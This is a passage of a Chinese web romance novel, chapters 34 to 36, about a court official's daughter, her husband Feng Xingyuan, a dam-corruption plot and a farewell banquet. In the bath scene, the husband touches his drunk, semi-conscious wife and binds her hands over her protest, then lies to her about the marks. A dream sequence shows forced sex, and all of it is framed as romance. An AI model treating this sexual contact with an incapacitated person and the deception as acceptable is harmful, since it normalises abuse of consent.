鹿微眠今日穿的是紫色的裙子。 他视线不由自主地落在面前仰着头看风筝的少女。 封行渊心尖突然发痒。 萌生出一个很诡异但令人兴奋的念头…… 他想试试在她身上,绑上绳子。 第34章 醉酒 鹿微眠不知道为什么他放着放着就开始盯着自己看。 她偷偷对着旁边湖面看了看自己的妆发……也没乱啊。 封行渊敛眸收回视线, “你很喜欢放风筝吗?” 鹿微眠坐在秋千上,看着他放,“喜欢啊。” 封行渊轻轻扯了下风筝线, 看着它朝他的方向回落。 仿若跑得再高再远,都能被他轻而易举的抓住,拖回来。 只属于他、只听任他一人。 从前他看别人放风筝只觉得无趣。 这是他第一次放风筝, 忽然发觉这种感觉令他上瘾。 “我也喜欢。” * 月末入冬, 鹿瑜拿着鹿微眠收集的指派罪证, 将水坝工程几度被做手脚的事情上报给朝廷。 同样将青荷所做的证词递交给帝王。 一切都安排妥当,只是唯一的差池是画像交给帝王之前, 姜崇也已经将慕青辞所有的罪证都交了出来, 以自己全都是在帮慕青辞做事为由,把自己摘了个干净, 并自行请罪领罚。 说到底眼下慕青辞是黑的,其他人的脏水往他身上泼,他百口莫辩根本也无法洗白。 没有人会相信他。 鹿瑜见此祸患还在, 为保万无一失,请旨亲自前往江南监工。 皇帝答应了他,也下了调令。 好处是,这件事情拿了足够多的证据提前告知帝王与朝廷, 有人一直想要从中作梗与他们无关,日后即便出了事, 总也不至于是鹿瑜贪污受贿、私吞建款才酿成灾祸。 他们家不至于遭遇横灾。 坏处便是,鹿瑜需要立冬动身, 一直到明年夏汛南巡过后才可返京。 也无法在家过年。 恰逢鹿瑜生辰, 家中便计划着借着他生辰的名头,也办个践行宴。 这还是鹿瑜在京为官二十载, 头一次离京这么久。 鹿微眠心情复杂。 日后事情顺利那最好了。 倘若事情不顺利,那就意味着,父亲此去即诀别。 鹿微眠这么想着,就早早地回了家。 鹿瑜宽慰她,“如今陛下知情,也知我们尽心竭力,这是最好的。” “不论发生什么事,你和母亲,还有阿峥在家都是安全的。” “再者这个工程也不是为了我们,是为了江南百姓。”鹿瑜小声道,“若阿眠说的是真的,那明年夏汛洪水,父亲能救很多人呢。” “朝堂纷争父亲参与的不多,筹谋算计父亲也差了一点。当下我能做的,就是工部的民生工程,不让江南百姓和你们因此受累。” 鹿微眠能想到,这件事情她告诉鹿瑜。 压力最大的就是他。 父亲会将这件事怪在他自己身上。 因自己的疏忽,导致生灵涂炭、全家落难,他必定很是殚精竭虑。 所以对她的话宁可信其有,不可信其无。 鹿微眠从房内出来,便看到院子里的下人们忙着布置庭院。 有许多父亲旧友此番也要来给他践行。 原本的家宴变成了宴席。 乍一看起来很是热闹喜庆。 鹿微眠深吸了一口气,下了石阶。 门口,舅母挽着叶绾从外面进来,瞧见鹿微眠热情地打着招呼,“阿眠回来了。” “已经回来几日了。”叶绾示意鹿微眠,“快跟你舅母打招呼。” 鹿微眠垂眸,还是顺从叶绾的示意,“舅母好。” 白氏点头,冷不丁提起,“阿眠瞧着精神头不太好啊,是前阵子闹得吗?” 谁都能听出来,白氏说的“前阵子”指的是太子出事。 “什么前阵子啊,”叶绾拍了拍白氏的手,“是这阵子她父亲要出远门,她舍不得罢了,早早就回来粘着我们。” 白氏了然,“这样啊。” “阿眠出嫁了还是小孩子心性。” 鹿微眠懒得接话,寻了个借口先离开。 白氏提太子无非是在嘲讽她太子妃美梦又一次破灭。 鹿微眠走了几步,听见叶绾把白氏方才的话接过来,“说明夫婿省心,她才能跟小孩子一样,我倒是还挺放心的。” “对了,”叶绾询问着,“心娴没跟你一起来?” 白氏有意夸耀着叶心娴的懂事,“她给她姑丈备生辰礼去了,今早一大早就出门了。” * 漆黑昏暗的掖庭狱下,沉重的铁门被打开。 一丝光线从屋外透进来,落在牢狱内的人身上。 管事狱卒拿着钥匙去开那人身上的锁链,“有贵人来接你了。” 狱卒一面打开锁链,一面说着,“你可真是好气运,能得贵人青眼。” “这往常进来的人哪有能出去的。” 阴影之中的男人仍然低着头,看见狱卒身后跟来的人。 来人一袭黑色披风遮掩,但走动间能显露出内里的华贵衣裙。 最后在他面前站定,居高临下地看他,“还不走吗?” 姜崇唇角上扬,“如今太子不中用了,奴才以为郡主会抛弃奴才,另想出路。” “太子不中用,你中用不就好了。”叶心娴看着他,“你是不愿意吗?” “全凭郡主吩咐。” 叶心娴看着他,游思恍惚。 两年前,她还不是郡主,为了在宫中博得青眼苦练琴棋书画。 世家尊贵,朝不保夕。 她父亲叶霖承袭侯爵,但却整日无所事事。 吃喝玩乐将那点侯府尊贵消磨殆尽。 又纳了几房小妾,个个都能在她和她母亲面前作威作福。 她母亲恨铁不成钢,只能把希望全寄托在她身上。 告诉她这辈子只有嫁得皇权富贵才能出人头地,教她多跟着鹿微眠,好接触到名门望族。 她只能虚伪地去讨好鹿微眠。 像个跟屁虫一样,伏小做低,做尽她厌恶的事情。 得到机会就奋力表现。 但大家还是都看不到她,因为她父亲不得用,是朝廷蛀虫。 她也混不进真正的官贵千金圈子里。 那年,她在宫宴上献礼,琴弦割破手指,她忍痛奏完一曲。 却依然没有任何人注意到她,连个赏字都没听到。 那日她躲在宫苑树林里捧着受伤的手哭。 有人递来一个帕子,“姑娘受伤了。” 那是姜崇。 叶心娴认得他,他是太子身边的小太监。 但她知道,肯定不是太子叫他前来,慕青辞连她是谁都不知道。 她觉得丢脸,“小伤罢了。” “姑娘这般漂亮的手,不宜有伤。”姜崇伸手,“若姑娘不介意,奴才可帮姑娘上药,不会留疤。” 大抵是这宫苑里,只有他一个人注意到她受伤了,叶心娴才放下戒心将手递过去。 这位小太监眉清目秀,手也干净整洁,大概是身为太子随侍,并不需要干粗活重活。 他干活也仔细,很会哄人。 将药涂在她指尖,很轻地涂匀,然后包上棉帕。 说着日后不要再受伤了这种话。 然后他握着她刚刚包好的手,盯着她眼底的不甘,冷不防来了一句,“姑娘是不是想当皇后?” 叶心娴当时又惊又怕,一面否认,一面抽手。 却被他牢牢握住,拉回原地,仍然笑意温柔地看着她,“姑娘想当皇后,奴才可以帮您。” 叶心娴承认,那一刻她心动了。 “你为何要帮我?” “当然是为了,在这深宫内院,给自己找一个依仗。” 慕青辞挑的皇后,哪有他自己挑的皇后称心如意。 虽然眼下皇后是不成了,但这两年,叶心娴也倚着他给家里带了不少机会。 让父亲再次得用,她也捡了个郡主的封号。 叶心娴往外走。 姜崇便跟在后面。 “按理说先出来,我只能将你送去浣衣局。日后要靠你自己寻个清静的好去处。”叶心娴走到一处僻静的小院厢房,才给了他一个锦囊。 姜崇接过来,看着里面是教他日后如何亲近淑妃。 姜崇收起来,“郡主想让我去淑妃娘娘那,是有新的打算了吗?” 叶心娴倚靠在桌边,“只可惜你费心思给我的那个九天玉印没用了。太子不行了,但还有三皇子。” “是谁不重要,我要的是那个位置。” “我知道你心里有数的。” 姜崇弯唇,“郡主放心。” * 叶心娴直到晚膳时分才到司空府。 这会儿宾客陆陆续续地到来,但还没有开席。 鹿微眠看着叶心娴进来送生辰礼,又说了些吉祥话。 鹿瑜和叶绾也不是什么规矩多的人,只想着今日热闹开心,便叫她入席。 鹿微眠听到旁边白氏询问叶心娴,“你去哪了,怎么才来?” 叶心娴随口道,“取东西耽搁了些时辰,又叫人擦好呈过来,岂是那般轻快的。况且这不是也没迟吗?” 鹿微眠看她呈去给父亲的玉如意,总觉得不至于取这么长时间。 她正想着,谷歆月跟随永昌伯进来,偷偷跟她打了个招呼,前去给鹿瑜贺寿。 贺完之后,永昌伯入席,谷歆月跑到她这边来,“这边有人吗?” “原是给封行渊留的。”鹿微眠看着封行渊还没有要回来的意思,“不过他最近事情多,有可能赶不回来,你先坐这里就行。” “那我要是坐这里,不会占了他的位置吧。” “没事。”鹿微眠拍了拍自己身边的坐席,“一会儿叫他去跟父亲坐,他们朝官才能聊到一起去。” 谷歆月闻言放心大胆地坐了下来。 侍女前来询问谷歆月有没有忌口,想要喝什么。 谷歆月要了酒。 鹿微眠听着,不由得提醒她,“你要是喝醉了,我可不负责把你背回去。” 谷歆月笑出声,“好妹妹,你什么时候见我喝醉过。” 封行渊进来,看到的就是这一幕。 两人好姐姐好妹妹地把酒言欢。 封行渊无声轻笑,默不作声地舔了下后槽牙。 偏偏鹿微眠还没注意到他进来。 谷歆月继续,“再者,真醉了,你偌大的司空府,还能不管我住吗。” 鹿微眠轻哼,“不管。” 一旁小厮见鹿微眠身边没位置,但姑爷来了,他也不好上去把伯爵千金赶走。 只得赶紧安排姑爷去上座。 那上座位置颇好,周围都是达官显贵,想必姑爷会满意。 小厮很有眼力见地把封行渊送过去,却发现封行渊似乎不那么高兴。 因为这会儿,谷歆月开始哄鹿微眠喝酒了。 “要不要尝尝?” 鹿微眠有过类似的经历,知道谷歆月喜欢喝烈酒,“你喝的酒都好苦的。” “不苦,我今日要的是甜酒。” 鹿微眠探着脑袋辨别了一会儿她杯子里的东西。 还是没敢尝试。 屋外陆陆续续地进来宾客。 许多宾客没有下了帖子邀请,只是曾经与鹿瑜有过来往,听闻他离京就来贺寿送个践行礼。 本也没打算留下吃饭,但是人家来了,鹿瑜不可能让人饿着肚子走。 桌子越加越多。 周围几个空置的屋子也都拿来摆宴席。 不知风声是怎么传出去的。 鹿微眠在前来的宾客里,看见了封贺带着罗氏进来,身旁还跟着封骏。 封贺上前与鹿瑜攀谈着,时不时提到她,“阿眠在我们家呆得很是习惯,把阿眠交给我们,亲家尽管放心吧。” 鹿微眠料想到他们会这么说,轻扯了扯唇角。 封贺自然而然的想要坐在前面的位置,与其他朝臣攀谈,然后将封骏介绍给各个官员。 眼见大家都不太想搭理他,但碍于面子也都笑着应承。 鹿瑜好脾气也没说什么。 但封行渊慢悠悠地开口了,“二叔贺完寿早些回去吧。免得天黑路滑,不好走。” 封贺脸上挂不住,心想着等鹿瑜开口留他们吃饭。 但鹿瑜也没开口。 即便是心有不满,封贺也不好当面表现出来,让这么多人看笑话。 他们只能尴尬道,“说得也是,今日特地来给亲家公贺寿,这会儿我们也该走了。” 就在他们以为鹿瑜会挽留他们之时,鹿瑜开口提醒,“那你们路上小心,来人,好生送送客人。” 封贺只能硬着头皮带着他们离开。 屋内没有了膈应的人,气氛也慢慢恢复如初。 稍微有点眼力见的人,也没有把封贺真的当做鹿瑜的亲家公。 毕竟朝堂中,想要沾亲带故攀关系的实在是太多了。 鹿微眠舒服地伸了伸腿,喝着手里的果汁。 抬眼迎上对面封行渊的视线。 她弯起眼睛笑了笑。 封行渊却避开了视线。 鹿微眠也不甚在意,很快注意力就被吸引走。 远远看见卫沉扶着明窈前来,专程送践行礼。 鹿微眠就起身去迎,与他们说了两句话。 明窈给鹿微眠递了一张帖子,“最近烦心事多,你也不要总是忧虑。想散散心的话,下月我三妹成婚,你也可以去沾沾喜气,国公府定视你们为座上宾。” “若是不想去也可以不去,”明窈看着她,“就是我想见你罢了。” 鹿微眠看着那红色喜帖,没有来的心情也好了不少,“难得的喜事,我肯定要去的。” 没多久明窈的父亲,明国公也前来贺寿。 鹿瑜与明国公曾经有些交际,坐下闲谈气氛也热闹不少。 这大概真的是个很好的日子。 鹿微眠起先的混沌与不安都被抚平些许。 身边谷歆月一杯一杯的酒水入喉,整个人都显得愈发畅快精神。 鹿微眠虽是知道谷歆月为人一向豪爽,但看她这般,还是颇为好奇。 她戳了下谷歆月的杯子,“这个真的是果酒吗?” “是啊。可好喝了,”谷歆月拿起来,晃了一下,“要不要试试。” 鹿微眠把杯子递过去,“我尝尝吧。” 谷歆月给她斟满,清亮的酒水在玉瓷杯盏中晶莹剔透,很是好看。 鹿微眠喝了一口。 咽下去还没有什么感觉,是挺甜的。 鹿微眠又小酌两口。 第三口下去的时候,辛辣气息瞬间窜起,充斥了鹿微眠整个鼻腔。 她一张脸都皱了起来,半天都说不出话来。 缓过来时,脸颊被烈酒熏蒸的通红,“你骗我。” 谷歆月笑着给她倒果汁,“没骗你啊,这就是甜酒。” 鹿微眠连喝了两杯果汁才遮盖住那辛辣感,连连嘟囔着,“骗子。” 谷歆月撑着下巴看她红彤彤的脸,忍不住逗她,“也就你回回都上我的当,褚楚都不信我的。” 鹿微眠偏开头,“我也不信你了。” 嘴上不停地说不信。 过了没有半刻钟,就又凑过去了。 封行渊全程看在眼里。 一整晚也没有说话。 谷歆月那杯烈酒的确是有些烈。 鹿微眠没喝过这么厉害的酒,很快就觉得有些头昏脑涨。 趁着自己还没失态之前先离了场。 谷歆月帮衬着将她送到房内。 鹿微眠只是有些晕,还没有到不省人事的地步。 “好啦,你赶紧回去吧。” 谷歆月看她晕晕乎乎的样子,“你自己可以吗?” “当然。”鹿微眠睁大眼睛示意自己很清醒,但是很快眉眼间就有些失焦,“没事,我还有暮云呢。” 暮云从沐浴间出来,“姑娘,水备好了。” 鹿微眠扶着谷歆月起身,“我要去沐浴梳洗了。” 谷歆月见状便先回宴席。 她刚离开鹿微眠的院子,迎面看见封行渊走来。 暮云接过鹿微眠,带她进去。 鹿微眠走路是有些晃,但是不影响其他。 何况她也不太适应有人看着她沐浴,“你在外面等我就好,我很快。” “要是两刻钟还没出来,你再进来。” 暮云答应着,守在外面。 鹿微眠是很快—— 她很快就在浴桶里睡着了。 温水里洒满花瓣泡着实在是太舒服了。 连有人进来都没有让她醒过来。 封行渊遣散了暮云,进沐浴间就熄了屋内的灯,摘下面具。 暮云看姑爷进门就熄灯还是愣了一下,原本只是退出门外,这会儿直接退到了院外。 封行渊扶着浴桶看她,他左眼不便见光,但在黑暗里视力极佳。 浴桶内女孩盘起长发歪着头靠在桶边,脸颊红润清透,睫毛上挂着零星的水珠。 花瓣贴靠在她的锁骨处,围聚在她周围,随着她平稳的呼吸缓慢起伏,剐蹭着她胸口的玫瑰红痣。 封行渊伸手摘下她锁骨处的花瓣,在指尖把玩了一会儿。 那片娇艳欲滴的花瓣在少年极具摧毁力的指尖很快被研磨出花汁。 蹂躏得残破不堪。 怎么睡着了。 他今晚很不高兴,想着如果她愿意主动亲吻他。 那他兴许能不计较她和别人喝酒笑闹了一晚上,没跟他说一句话。 但眼下睡着了兴许是不行了。 封行渊拖过来凳子坐在浴桶边,打算着先帮她把澡洗完。 封行渊拿过旁边干净的帕子,浸入玫瑰花水中打湿,而后撩起温水在她身上擦拭。 这是他第一次这般细致地观察她的身体。 比上次隔着湿透的衣衫要更加清晰,在片片花瓣的映衬之下,犹如出水芙蓉。 很漂亮。 封行渊手上动作称得上温柔。 将她清理干净,抱出来擦干。 鹿微眠半梦半醒中觉得很舒服,不自觉地将自己贴靠过去。 因此,温软直接被送进了男人手中。 封行渊动作停滞。 静静地看着贴上来的那处。 他手里的还攥着帕子,只有拇指碰到也能感觉到那无边无际、令人深陷的触感。 色泽犹如上好的羊脂玉,但温热细腻。 这让少年觉得,像是他无意触碰到的云朵。 稍一用力,就像是陷进了绵绵云层中,细腻满布掌心。 也像是白玉豆腐。 但可塑性颇强,会随着力道变幻形状。 帕子不知何时被抛开。 第一次触碰到的少年探索着,一时失了力气轻重。 鹿微眠迷迷糊糊地睁开眼睛,却只见一片黑暗,双臂不由得围挡一下,躲避这样的折磨,“不要。” 封行渊顺手拿过她放在一旁的裙带。 将她推拒的双手捆住之后,封行渊才意识到自己做了什么。 那漂亮的粉白裙带,绑在她白洁如玉的藕臂上,将她禁锢住,封行渊那股隐秘的兴奋感更加强烈。 以至于身体上先有了反应。 封行渊凝眉。 他发现,他想像梦里、或者书里那样惩罚她了。 第35章 很乖 封行渊垂眸, 看着怀里的人。 她仍然处于半梦半醒的状态,迷迷糊糊地想要挣脱手上的束缚,却奈何没有力气。 发出很是无助的细碎呢喃。 这让他的反应愈发强烈。 书本中的图画生动鲜活起来。 但他想得要更多一点。 他想把她捆在某一处, 欺负她。 可是封行渊衡量着,她的行为似乎没有到需要被惩罚的地步。 欺负她那么脆弱的地方,一根手指都还进不去。 鹿微眠察觉到了危险的来临。 也能感觉到自己光裸的腿下, 有蛰伏的利器蠢蠢欲动。 这是什么先兆, 她再清楚不过。 可是她整个人醉酒后昏昏沉沉地, 身处于一片黑暗之中什么都看不见。 只知道自己不着寸缕,坐在男人身上。 她脑海中前世梦境与现实交错, 无比混乱。 鹿微眠秀眉轻蹙, 试着寻找光亮,辨别现在是梦境还是现实。 身前人出声, 蛊惑着她,“阿眠,吻我。” 鹿微眠辨别着这声音是谁, 许久没有动,可是会绑着她索求的只有那个人。 直到她下巴被人抬起,鹿微眠抗拒着偏开头,迷迷糊糊地企图逃跑。 可他轻拽着绳带另一侧, 稍稍一拉,她就被迫落回他身边。 她身体被男人从身后环扣住, 坐在他身上,后背紧贴着他, 身体弓起。 他说, “跑什么?” 鹿微眠眼角微微湿润。 她似乎恢复了些许视线,看见身前横亘着青筋迭起的手臂。 手掌筋骨分明, 手臂压着胸口皑皑白雪的脆弱之地。 少年虬结臂膀似乎与少女冰肌玉骨很是相配。 鹿微眠声音轻颤着,“不要这样,王上。” 封行渊在听到她叫“王上”之时,蓦的顿住。 他看着怀里混沌不安的人。 大抵是许久没有继续的动作。 怀里半醉的人慢慢安静下来,胸口在他掌心剧烈的起伏着。 他甚至能感觉到她剧烈的心跳震动,一下一下敲击着他的掌心。 “你叫我什么?” 鹿微眠没有回答,只是缩紧了身体。 身上和屋内的水汽熏蒸着他们两人。 她能感觉到自己被水汽包围,浑身上下都沁得极为温暖潮湿。 或者不只是水汽,还有足够能压覆包裹她的人。 封行渊眼睫压低。 她为什么会叫他“王上”。 难道他们会做同样的梦吗? 怎么会有人做同样的梦。 鹿微眠被笼罩在温暖之处,整个人昏昏沉沉地再次陷入梦境。 梦中她被侍女服侍着沐浴梳洗。 碍于眼盲,不得不有人帮衬。 侍女拿着帕子一下一下用温水帮她擦拭。 期间只是片刻的停滞,那侍女的手就换成了一个男人的手。 他不做声,只撑在浴桶后看着她,帮她擦洗身子。 只是鹿微眠感觉到了那只手的不对劲。 比女子的手要大,要宽厚粗糙,碰到她的肌肤就升起一股说不清的麻痒。 鹿微眠接连问了侍女几个问题,都不见侍女出声,慌乱之下躲开。 却被扣住脖颈下颚,后脊紧贴着浴桶边缘,脑后是他的腰腹。 他说,“怕什么,阿眠的身体很漂亮,我很喜欢。” 混乱的水声争执后,男人进来。 浴桶中的花瓣随着溢出的水大片大片地跌落在地。 她被男人从后面压住,身体完全拉开,承受着突如其来的索取。 而她的手上,绑的是男人的腰封。 那人做起这种事情来,毫无节制,喜好怪异。 这对于从小金尊玉贵的鹿微眠来说,刺激到难以承受。 她真的很怕跟他做那样的事情。 怕被他折磨得丢盔卸甲、浑身颤抖。 然后听到他的调侃,“阿眠怎么这么大了,还会失溺。” 清早,鹿微眠从睡梦中惊醒,坐起。 见到四周是她再熟悉不过的闺房才慢慢平复心绪。 然而鹿微眠一转头看见封行渊也醒过来。 他大概也是梦到了什么,深不见底的黑瞳混杂着晦暗不清的欲色。 鹿微眠呼吸急促,而他的呼吸又沉又重。 一急一缓,一轻一重。 两人很怪异地无声对视良久。 鹿微眠有点怕他看出来自己梦到了什么,心神不宁地想下床,“我要晨起了。” 她刚掀开被子才发现不对劲。 她清楚的看到自己手腕上,出现了一圈可疑的红痕! 那痕迹与昨晚梦中被捆束的感觉一模一样。 鹿微眠动作顿住,盯着手腕上红痕看了很久。 她不只是做梦吗? 为什么手上真的会有绑痕? 鹿微眠转头看向身侧的男人,“我手上这是……” 封行渊握过她的手,坦然又平静* 地先发制人,“这是怎么弄得?” “我,”鹿微眠语塞,“我不知道啊。” 封行渊修长手指轻揉着她红痕的位置,“你应该知道,毕竟昨晚,你与旁人把酒言欢聊得甚是开心。” “连醉后都是旁人送回的,拉拉扯扯地不一定怎么碰成这样。” 鹿微眠总觉得哪里不太对,“是这样吗?” “嗯。”少年很轻很缓地帮她纾解手腕红痕,仍然看着她的眼睛,“你昨晚一句话都没与我说。难不成,这还是我弄得?” 鹿微眠隐约从他话语中听出了怨怪,“我总有机会与你说话,但是又不是日日能见她们。” 鹿微眠觉得他说得有道理。 兴许昨晚她醉后,被谷歆月送回来时,拉扯握住她手腕搀扶时留下了痕迹也正常。 封行渊没有接话,但听起来,她像是相信了他的说辞。 他暂时不想让她知道,他好像有点喜欢绑她。 他的小夫人似乎没这么好的脾气,昨晚的反应看起来也不喜欢被绑。 她生气了是要不理他的。 封行渊忽然意识到。 他好像不想让鹿微眠不理他。 鹿微眠问他,“你昨晚几时回来的?” “宴席散了就回来了。” 鹿微眠对于昨晚回房间之后的事情就没太有印象了。 只记得她好像很快就睡着了。 再就是梦里出现的那些画面。 鹿微眠有些走神,视线冷不防瞟到了封行渊握住她手腕的手指上。 指骨修长,洁净如玉,手背青筋随着动作起伏。 莫名的,鹿微眠眼前一晃而过那模糊的画面。 画面中,她被人绑住双手,想跑却被背对着压在一个结实有力的怀里。 但身前好似就是这么一只漂亮的手,环住她,手臂压着她的胸口禁锢她。 大概是力气颇大,横亘的手臂将她胸口压得像是鼓出来的糯米团子。 画面呈现出令人血脉喷张的和谐感。 那手臂色泽与她身上的颜色都极为相衬。 鹿微眠不由得问,“你,你回来的时候,我在做什么?” 封行渊压低的眼睫遮住眼底暗光,“你在睡觉。” “昨晚,我好像回房就没有意识了,那我沐浴是自己弄的吗?” 封行渊慢条斯理地遮掩过去,“所以日后,夫人少喝点酒。” 他说着起身,“我该去上值点卯了。” 鹿微眠也不好盘问太多,显得她不相信他一样。 封行渊晨起,鹿微眠这会儿反倒不着急起床了。 她等封行渊离开后,才磨磨蹭蹭地从床榻上爬起来。 更换衣物之时,鹿微眠偷偷看了看自己小衣里拢住的两团。 她鬼使神差地伸手,比了一下,然后拢住…… 拢不住。 那个画面里,好像男人的手更大一点,位置偏一些,能完全覆盖。 如果是封行渊的话…… 鹿微眠意识到自己在想什么,连忙把手放下来,颇为不自在地穿上衣服。 清早府中下人来来往往,暮云端着热水进门看见鹿微眠正磨磨蹭蹭地起床,笑道,“夫人今早怎么起得这么早。” 鹿微眠不太想提做的噩梦,“他醒了,我也就醒了。” 暮云想着也就说出来了,“姑娘姑爷感情真好。” “也不是啦。” 其实她就是被噩梦吓醒不敢睡了。 梦里还是跟另一个男人…… 鹿微眠不敢细想,正要去净手,旁边暮云笑着打趣她,“昨晚姑娘沐浴睡着了,还是姑爷帮你的,怎么不是感情好。” 鹿微眠净手的动作僵在原地。 双手浸润到温水之中,这会儿看着那抹红痕格外清晰。 “沐浴……”鹿微眠转头看向暮云,“是他帮我的?” 暮云瞧着她完全不知道的样子,“夫人醉过去了?” 鹿微眠想她还不如直接醉死过去。 所以她那零星记忆中,被人绑着的画面是真的吗? 封行渊……绑她了?! 他该不会也有这样的爱好吧…… 不能吧。 鹿微眠有一瞬间的紧张和慌乱。 不过很快就安抚好自己,她身上除了手腕上红痕,也没留下其他痕迹。 兴许真的像是封行渊说的那样,是歆月姐姐扶她回来不小心弄到的。 鹿微眠想着今早封行渊那湿润如小兽一般的眸子。 怎么看怎么不像是会有那般恶劣喜好的样子。 况且他要是真喜欢,绑住她能忍得住对她什么都不做吗? 鹿微眠看了看镜子,都没咬她。 鹿微眠平复了许久心绪,仍然心有不安。 * 封行渊离开房间,启程前去点卯。 马车里,他撑着额头闭目小憩片刻,又睁开眼睛,“凌一。” 凌一忙应着,“在。” “你说,两个人做同样的梦,是因为什么?” 凌一左思右想片刻,“属下倒是与凌双做过同样的梦,梦见我们都办砸了差事,惹您生气。” “都说日有所思夜有所梦,梦见同样的事情,那肯定是白日里都想过。” 封行渊没做声。 有相同经历的人,更容易做同样的梦。 如果他的梦是还没有发生的事情。 那鹿微眠难道也知道还没有发生的事情? 这好像能解释,鹿微眠为什么会知道他的秘密。 所以,该不会那梦里的事情,都是真的。 封行渊轻“啧”一声。 有点意思。 封行渊进了皇宫大内,远远看见鹿瑜从前面的马车下来,整理了一下自己的朝服,朝着乾正殿走过去。 封行渊想到鹿微眠这些时日所殚精竭虑的事情,更加肯定了自己的猜测。 所以他们之间,为什么会变成那样。 还有鹿微眠,为什么会眼盲。 她最怕黑了。 鹿瑜进殿,殿内只有皇帝与内侍大太监两人。 皇帝见他进来,起身相迎,“爱卿来了。” 鹿瑜行大礼,“臣参见陛下。” “不必多礼。”皇帝示意他起来,“昨日生辰,宫中送去的贺礼可收到了?” 鹿瑜恭声道,“谢陛下,臣收到了,很是喜欢。” 皇帝点头,“两日后离京,家中可安置妥帖了?” “已经安置妥当。”鹿瑜抬起头,“只不过还有一事,今日特来觐见陛下,恳请陛下应允。” “但说无妨。” 鹿瑜拱手,“臣想签死契。” 此话一出,皇帝都怔愣一下。 “为何?” “修缮水坝一事几度遭遇不测,防不胜防。臣只怕日后再有不测,难以招架。此番臣愿以性命相抵,为此事鞠躬尽瘁。功成,臣可身退回京。” “若事败,追究,臣可一人担责,恳请陛下莫要降罪于我妻女孩儿。” 皇帝听懂了,“此番死契,你是想给你的家眷,留个护身符。” “恳请陛下成全,无论如何他们是无辜的,他们比谁都希望此事顺利,我早日归京。” 皇帝看他许久,“朕允了,你可放心前去。” 鹿瑜再度行大礼,“谢陛下。” 内侍大太监按照鹿瑜的要求,拟了一份死契,呈到鹿瑜面前。 鹿瑜按下手印后,告退离宫。 他看着屋外湛蓝的高远晴空,心下轻松许多。 但愿来年,还能看到长安城的秋日。 鹿瑜笑了。 若是看不到,有人能替他看,也好。 不日送行,践行的人没有太多。 毕竟是朝廷正事,也不宜大张旗鼓。 无非是他们自家人和亲近的朋友。 城门口鹿瑜叫他们就此留步,改日再见。 所有人都当此事不过是一次寻常的离京办差,没有人知道鹿瑜是签了死契走的。 气氛相对轻松融洽,叶绾也只是多叮嘱了两句。 只有鹿微眠看着鹿瑜的身影,鼻尖酸涩。 鹿瑜问她有没有什么要叮嘱的,鹿微眠说不出话来。 这里大概没有人会理解,那鹿家姑娘为何如此难过。 鹿微眠仍然保持着大家千金该有的端庄平和,轻轻摇头。 鹿瑜笑着拍了拍她,“开心一点乖乖,等父亲回来。” 鹿微眠弯唇,但笑不出来。 鹿瑜上车,车队很快消失在城郊树林阴翳处。 鹿微眠看着那消失的影子,和不停摇晃的枝叶发呆了很久。 直到鹿峥来催她上车回府,她才很轻地回了句,“来了。” 宽大的马车内,鹿峥笑她,“阿姐这般念家,当初父亲说得也对,合该给你找个入赘女婿,让你天天在家。” 叶绾掐他,示意他闭嘴。 鹿峥这才意识到,封行渊也在车内。 叶绾打圆场,“你这张嘴就是没个把门的,那都是你阿姐小时候的事了。” 封行渊倒是听进去了,点头表示赞同,“也行。” 车内人都愣了一下。 鹿微眠看向他。 鹿峥以为自己听错了,小声解释道,“入赘是成婚后要住在我们家,什么都听我阿姐的,以后有孩子也要跟我阿姐姓的。” 这对于当下的男人来说,都是自己没用的象征。 没有人愿意做赘婿。 封行渊没觉得这有什么,住那个破封府他也不怎么喜欢,何况他现在也什么都听她的,“可以。” 他顺便给了评价,“姓鹿好听。” 鹿微眠看着他,发现他是认真的。 那双纯粹眸底干净得不染纤尘。 叶绾视线在他们之间打了个来回,不由得轻笑出声,没继续这个话题,转头问鹿微眠,“还要在家里住几天吗?” 鹿微眠顺着叶绾的话说着,“在家住了很久了,明日该回去了。” 叶绾点头,“看你安排。” 鹿微眠回家收拾好东西,看见封行渊在旁边摆弄她的发钗。 他看起来很喜欢这些漂亮的小玩意。 鹿微眠走上前问道,“你今日可知入赘是什么意思。” 封行渊简单回着,“知道。” 鹿微眠还是个有点在意世俗眼光的人,“那你说得可是真的?” 封行渊不知道这事为什么世人要在意,不过是一种各自喜欢的生活方式罢了。 “我为何要骗夫人?” 鹿微眠觉得封行渊活得是不太一样的洒脱。 如同长在丛林中的小兽。 简单随性。 你对他好,他就会对你好。 有话直说,不遮掩算计,他就很好哄。 他的领地之内是可亲近之人。 领地之外全都是无所谓的其他芸芸,谁都不在乎。 她隔了一段距离,看了他许久,或许她是可以问问他的。 而不是自己一直胡思乱想。 鹿微眠压在心底的事情还是没憋住。 她承认,她有点直心眼,藏不住什么事情。 鹿微眠磨磨蹭蹭地坐在封行渊身边。 封行渊顺便拿着发簪在她头上比了比,视线从发簪落在她身上,“夫人有心事?” “也不算什么心事了吧。”鹿微眠故作轻松,“我就是想问……” “那天晚上,我沐浴睡着了,剩下的事情是你帮我做的吗?” “嗯。”封行渊没有否认,反而很是坦然,“我与夫人说了,我回来的时候,你已经睡着了。” 鹿微眠想起来他的确是这么说的。 那天他其实也没有撒谎。 封行渊饶有兴致地看她,“怎么了,夫人是不想让我看,还是不想让我碰到什么。” “如果不想,下次我叫她们来帮你。” 鹿微眠小声道,“没有。” 虽然是有些不好意思,但他们到底是夫妻。 况且这也不是她想问的重点,“那天我醉了,你帮我收拾的时候,我还算配合吗?” 鹿微眠吭吭哧哧地引入她想问的问题,“有没有很闹你,让你想要把我绑起来。” 封行渊看着她清凉如黑宝石般的眼瞳,听到了他感兴趣的话题,指尖发痒。 但嘴上回答的是,“没有。” 封行渊弯唇,“夫人很乖。” 鹿微眠疑惑地再度陷入沉思。 封行渊适时打破她的思虑,“怎么了,为什么这么问?” 他看着她,“你是想要被绑吗?” “不想。”鹿微眠几乎是脱口而出,“我不想要。” 被绑起来,丧失所有的反抗能力地被动承受,她承受不住。 鹿微眠说出口才意识到自己的反应有些剧烈,“那就没事了,可能是我那天喝多了,做了一些乱七八糟的梦给记混了。” 毕竟连她自己当时也分不清哪一部分是梦,哪那一部分是现实。 封行渊了然地点了点头,“那……” 在鹿微眠想要将这件事情翻篇之时,他缓慢凑近,声线低沉,“夫人梦见什么了?” 第36章 艳福 鹿微眠被他们之间骤然拉近的距离弄得有些不自在。 少年那双血色异瞳直直的看着她, 将她那点局促不安尽收眼底。 饶是鹿微眠再怎么直心眼,也不可能跟自己的夫婿说,自己时常会梦见自己被另一个男人这样那样。 何况被那个疯子囚困在深宫里承宠的事情, 怎么也不能算是愉快的记忆。 